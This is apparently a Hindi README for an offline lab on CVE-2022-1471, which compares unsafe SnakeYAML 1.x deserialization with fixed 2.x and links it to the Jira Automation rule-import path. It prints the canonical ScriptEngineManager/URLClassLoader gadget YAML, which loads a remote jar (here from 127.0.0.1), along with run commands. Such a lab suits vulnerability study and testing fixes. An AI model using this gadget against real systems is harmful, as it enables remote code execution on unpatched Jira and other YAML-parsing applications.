
ऑफ़लाइन CVE-2022-1471 लैब: SnakeYAML असुरक्षित डिसेरिएलाइज़ेशन से RCE; हानिरहित स्थानीय पेलोड का उपयोग करके कमज़ोर 1.x बनाम सुधारित 2.x की तुलना करता है।
ऑफ़लाइन, स्व-निहित लैब जो CVE-2022-1471 (SnakeYAML असुरक्षित डिसीरियलाइज़ेशन → RCE, CVSS 9.8) के पीछे की क्रियाविधि को सिद्ध करता है, जैसा कि Jira / Jira Service Management में 9.4.9 चला रहे होस्ट के विरुद्ध प्राप्त निष्कर्ष में उपयोग किया गया है (प्रभावित सीमा 9.4.0–9.4.12, 9.4.14 में फिक्स्ड — Atlassian JSDSERVER-14906 देखें)।
यह लैब ठीक दो चीज़ें प्रदर्शित करता है:
ConstructorException) — कुछ भी नहीं चलता।यह किसी लाइव होस्ट का नहीं शोषण करता है। सब कुछ 127.0.0.1 पर चलता है; पेलोड (src/Exploit.java) हानिरहित है — इसका स्टैटिक इनिशियलाइज़र एक टेक्स्ट फ़ाइल लिखता है और कुछ नहीं।
./run.sh
cat PWNED-proof.txt # on-disk proof of execution (regenerated each run)
इसके लिए PATH पर JDK 17+ की आवश्यकता है (javac, java, jar)। यदि tools/ के अंतर्गत एक बंडल किया हुआ JDK मौजूद है, तो उसका उपयोग किया जाता है। एकमात्र नेटवर्क ट्रैफ़िक 127.0.0.1:8077 पर स्थानीय HTTP सर्वर है जो पेलोड jar को सर्व करता है, और बाहर निकलने पर बंद कर दिया जाता है।
src/VulnDemo.java एक मात्र new Yaml().load(yaml) है — वही असुरक्षित कॉल जो कमजोर Automation for Jira संस्करण आयातित नियम YAML पर करते हैं। हमलावर YAML विहित गैजेट है:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x बिना किसी अनुमति-सूची के मनमानी कक्षाओं को इंस्टैंशिएट करता है → JVM "हमलावर" सर्वर से एक क्लास लाता और लोड करता है → इसका स्टैटिक इनिशियलाइज़र निष्पादित होता है। SnakeYAML 2.x डिफ़ॉल्ट रूप से SafeConstructor का उपयोग करता है, जो ग्लोबल टैग को अस्वीकार करता है।
sample-output-PWNED-proof.txt एक रन से मार्कर फ़ाइल की सामग्री दिखाता है; screenshots/ दोनों रन (कमजोर बनाम फिक्स्ड) दिखाता है।
अधिकृत सुरक्षा अनुसंधान। केवल लाइब्रेरी तंत्र और फिक्स सीमा का प्रमाण — किसी उत्पादन प्रणाली के विरुद्ध शोषण नहीं। Jira वेक्टर का शोषण करने के लिए अतिरिक्त रूप से एक स्वचालन नियम के प्रमाणित (Jira एडमिन) आयात की आवश्यकता होती है।